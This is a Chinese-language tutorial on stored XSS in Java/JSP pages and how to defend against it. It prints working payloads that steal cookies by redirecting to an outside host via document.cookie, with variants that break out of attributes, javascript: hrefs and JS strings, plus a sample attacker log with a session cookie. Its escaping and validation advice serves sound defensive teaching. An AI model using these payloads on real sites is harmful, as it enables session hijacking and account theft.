XSS 攻擊實驗 & 防禦方案
XSS 攻擊&防禦實驗
不要覺得你的網站很安全,實際上每個網站或多或少都存在漏洞,其中xss/csrf是最常見的漏洞,也是最容易被開發者忽略的漏洞,一不小心就要被黑
下面以一個使用者列表頁面來演示xss攻擊的實驗
假設某個惡意使用者在註冊時輸入的使用者名稱中包含攻擊程式碼
首先準備一個jsp頁面來顯示使用者列表
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<html>
<head>
<table>
<c:forEach items="${users}" var="user">
<tr>
<td>${user.userId}</td>
<td>${user.name}</td>
</tr>
</c:forEach>
</table>
</head>
<body>
</body>
</html >
然後模擬一個control從資料庫取出使用者列表,顯示在該頁面上
public class UserController extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//這裡模擬從資料庫中查詢出來的使用者
List<User> users = new ArrayList<User>();
users.add(new User(1 , "賴寶"));
users.add(new User(2 , "<script>alert('你被攻擊了!');</script>"));
req.setAttribute("users" , users);
req.getRequestDispatcher("/users.jsp").forward(req,resp);
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doPost(req , resp);
}
}
當用戶訪問這個control後進入到使用者列表頁面,就會看到下面這樣的效果了。
用瀏覽器的檢視原始碼功能可以看到頁面的原始碼如下:
<html>
<head>
<table>
<tr>
<td>1</td>
<td>賴寶</td>
</tr>
<tr>
<td>2</td>
<td><script>alert('你被攻擊了!');</script></td>
</tr>
</table>
</head>
<body>
</body>
</html>
從html原始碼中可以看出有指令碼被插入到了頁面並且被執行了。
上面這個例子的攻擊者就是某個不懷好意的註冊使用者 , 被攻擊者就是檢視使用者列表的一個管理員
高階攻擊
當然,上面這樣的攻擊對被攻擊者也造成不了多大的威脅,只是一個彈出而已,如果將攻擊程式碼改成下面這樣,你估計就不會這麼覺得了。
//假設惡意使用者又註冊了使用者名稱中包含攻擊程式碼的使用者
users.add(new User(3 , "<script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script>"));
當管理員再進入使用者列表頁面時就會發生悲劇了,首先看一下html原始碼變成啥樣了
<html>
<head>
<table>
<tr>
<td>1</td>
<td>賴寶</td>
</tr>
<tr>
<td>2</td>
<td><script>alert('你被攻擊了!');</script></td>
</tr>
<tr>
<td>3</td>
<td><script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script></td>
</tr>
</table>
</head>
<body>
</body>
</html>
上面的指令碼執行了頁面跳轉,跳轉到了一個攻擊者的釣魚網站,並且將當前使用者的cookie,當前url等資訊都當作引數傳過去了。這個問題就大啦,熟悉http的都知道,有了cookie就相當拿到了當前使用者的登入資訊,攻擊者就可以拿這些資訊以管理員的身份訪問使用者列表了。
管理員的訪問使用者了列表頁面後,瀏覽器變成了這樣。(注意看瀏覽器位址列,跳轉到了釣魚網站,並且將cookie和url傳遞過去了)
此時攻擊者應該守在電腦螢幕等著網站管理員被攻擊,此時他就能看到他的釣魚網站的訪問日誌,日誌中包含了被攻擊使用者的cookie與所訪問的url
115.182.230.165 - - [22/May/2016:13:11:24 +0800] "GET /?c=__csrf_token__=8xK1wQ3t;%20JSESSIONID=6ub7dbn1pdwl1i1t3wms4i2jl&url=http://localhost:8080/user HTTP/1.1" 200 132 "http://localhost:8080/user" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
這樣攻擊者就能立馬模擬被攻擊者的使用者資訊去訪問使用者列表頁面,如果使用者列表中包含使用者的很多隱私資訊,比如電話,身份證號碼,密碼(一般不會啦)那麼就真的悲劇了,此時攻擊者能幹什麼事,就取決於被攻擊使用者擁有什麼許可權了,如果是一個很高級別管理員被攻擊,將會有更悲劇的事情發生,各位可以自行腦補
除了直接輸出到html標籤內的程式碼可能被攻擊,如果攻擊程式碼出現在html標籤的屬性中也有可能被攻擊
比如頁面改成下面這樣:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<html>
<head>
<table>
<c:forEach items="${users}" var="user">
<tr>
<td>${user.userId}</td>
<td userName="${user.name}">使用者資訊</td>
</tr>
</c:forEach>
</table>
</head>
<body>
</body>
</html>
當管理員訪問頁面時,瀏覽器檢視html原始碼如下:
<html>
<head>
<table>
<tr>
<td>1</td>
<td userName="賴寶">使用者資訊</td>
</tr>
<tr>
<td>2</td>
<td userName="<script>alert('你被攻擊了!');</script>">使用者資訊</td>
</tr>
<tr>
<td>3</td>
<td userName="<script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script>">使用者資訊</td>
</tr>
</table>
</head>
<body>
</body>
</html>
看到的頁面如下:
頁面顯示正常,因為指令碼資訊被兩個引號給包住了,指令碼被當作一個普通字串屬性處理了,所以沒有執行。
接下來把攻擊指令碼稍微修改
//指令碼前面加了 ">
users.add(new User(3 , "\"> <script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script>"));
然後再看看此時html原始碼
<html>
<head>
<table>
<tr>
<td>1</td>
<td userName="賴寶">使用者資訊</td>
</tr>
<tr>
<td>2</td>
<td userName="<script>alert('你被攻擊了!');</script>">使用者資訊</td>
</tr>
<tr>
<td>3</td>
<td userName=""> <script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script>">使用者資訊</td>
</tr>
</table>
</head>
<body>
</body>
</html>
因為html如果找到一個>符號,就會關閉上一個標籤開始下一個標籤,所以攻擊指令碼中估計製造一個”>符號將td標籤關閉,接下來的
<script>
指令碼就能正常執行了。
上面的例子只是xss攻擊方式裡面比較常見的幾種,但是足以說明xss攻擊的原理與嚴重性,xss攻擊方式是各種各樣的,需要開發者在平時的開發中多注意,只要頁面上需要展示不確定(使用者輸入的)的內容,都需要仔細對待
XSS防禦
頁面上直接輸出的所有不確定(使用者輸入)內容都進行html轉譯
也就是將所有的[<,>,”,,&]等符號都用[<,>,",&]字元進行替換,這些html標籤符號被替換後,瀏覽器就會拿它當作一個普通字串對待,而不是當作一個標籤的開始/結束標誌對待。
比如下面的攻擊程式碼在輸出前進行轉移
String content = "<script>alert('ok');</script>";
content= StringEscapeUtils.escapeHtml4(content);
//被轉後後成為了<script>alert('ok');</script>字串,然後再輸出到瀏覽器
瀏覽器就不會將轉譯後的字串當中指令碼執行,而是直接輸出一個字串。 瀏覽器顯示如下:
這樣就已經能防禦大部分xss攻擊了
<a>
標籤的href屬性中不要包含不確定(使用者輸入)的內容
上面的轉譯能夠解決直接輸出在html中的內容,原理是將指令碼標籤中的<>等符號轉譯替換掉,但是還有一些情況下執行指令碼,是不一定要依賴標籤的,也就是指令碼不需要用<script></script>
包住,那麼轉譯對這種指令碼就不起作用了,比如a標籤中的href屬性,除了直接指定一個url進行跳轉,還可以通過javascript:xxx();的方式執行js程式碼。
比如註冊使用者資訊是還要求使用者輸入一個部落格地址(一個url),使用者管理後臺的列表中再加一列,讓管理員直接點這個連結去訪問使用者的部落格。
<td><a href="${user.blog}">部落格地址</a></td>
攻擊者在註冊使用者時,部落格地址如果輸入下面這樣的指令碼:
javascript:window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href
那麼當管理員點選這個連結的時候,跟之前一樣的悲劇就又發生了,管理員的登入資訊又被攻擊者盜取了。
所以千萬不要直接將使用者輸入的資訊輸出到href屬性中,即使一定要輸出,也應該將內容中的javascript/document/cookie/…等js關鍵字替換掉 , 最好的方式就是直接將這個資訊轉譯後輸出到頁面,讓管理員複製連結然後再去開啟部落格
同樣的還有onclick , onload , on… 等屬性中也千萬不要直接放置不確定的內容進去。
script
指令碼中不要使用不確定的內容
下面假設一個場景:
比如某個直播網站,主播可以設定暱稱,使用者可以進入該房間觀看直播。並且js要用到該主播的暱稱,比如要用js將主播暱稱放到螢幕中間做一個滾動的效果。
某個開發人員像下面這樣寫程式碼 :
<script>
//獲取主播暱稱
var starNick = '${starNick}';
//讓主播暱稱在螢幕中間滾動
rollingStarNick(starNick);
</script>
看起來似乎沒啥問題,但是主播如果是一個懂xss攻擊,並且想盜取觀看使用者帳號資訊的人。那麼問題就大了。
假如主播將暱稱改為如下程式碼:
';window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href;'
當用戶進入房間後,指令碼部分原始碼將變成這樣:
<script>
var starNick = '';window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href;'' ;
rollingStarNick(starNick);
</script>
攻擊指令碼最前面的 ‘; 是為了結束變數starNick的定義,不然直接放要指定的指令碼會被包裹在兩個引號”中作為普通字串處理。
悲劇發生了~,只要進入到這個房間,就會自動跳轉到釣魚網站,並且將cookie資訊也傳過去了。
對使用者輸入內容格式做校驗
出現上面情況的前提是,服務端沒有對使用者輸入的內容進行校驗。假如服務端校驗了部落格地址是否是一個url格式、使用者名稱是否包含特殊字元等資訊,也就不會發生上面這些攻擊了,所以服務端最好對使用者輸入的內容都進行格式校驗。
防禦總結
看完上面的例子之後,你還覺得你的網站非常安全嗎~ ?
xss攻擊方式多種多樣,常見的攻擊方式上面都有舉例,按照上面的幾條防禦原則,基本能防禦絕大部分攻擊了。當然還是需要開發人員格外細心,因為任何一個不注意,就可能導致嚴重的後果。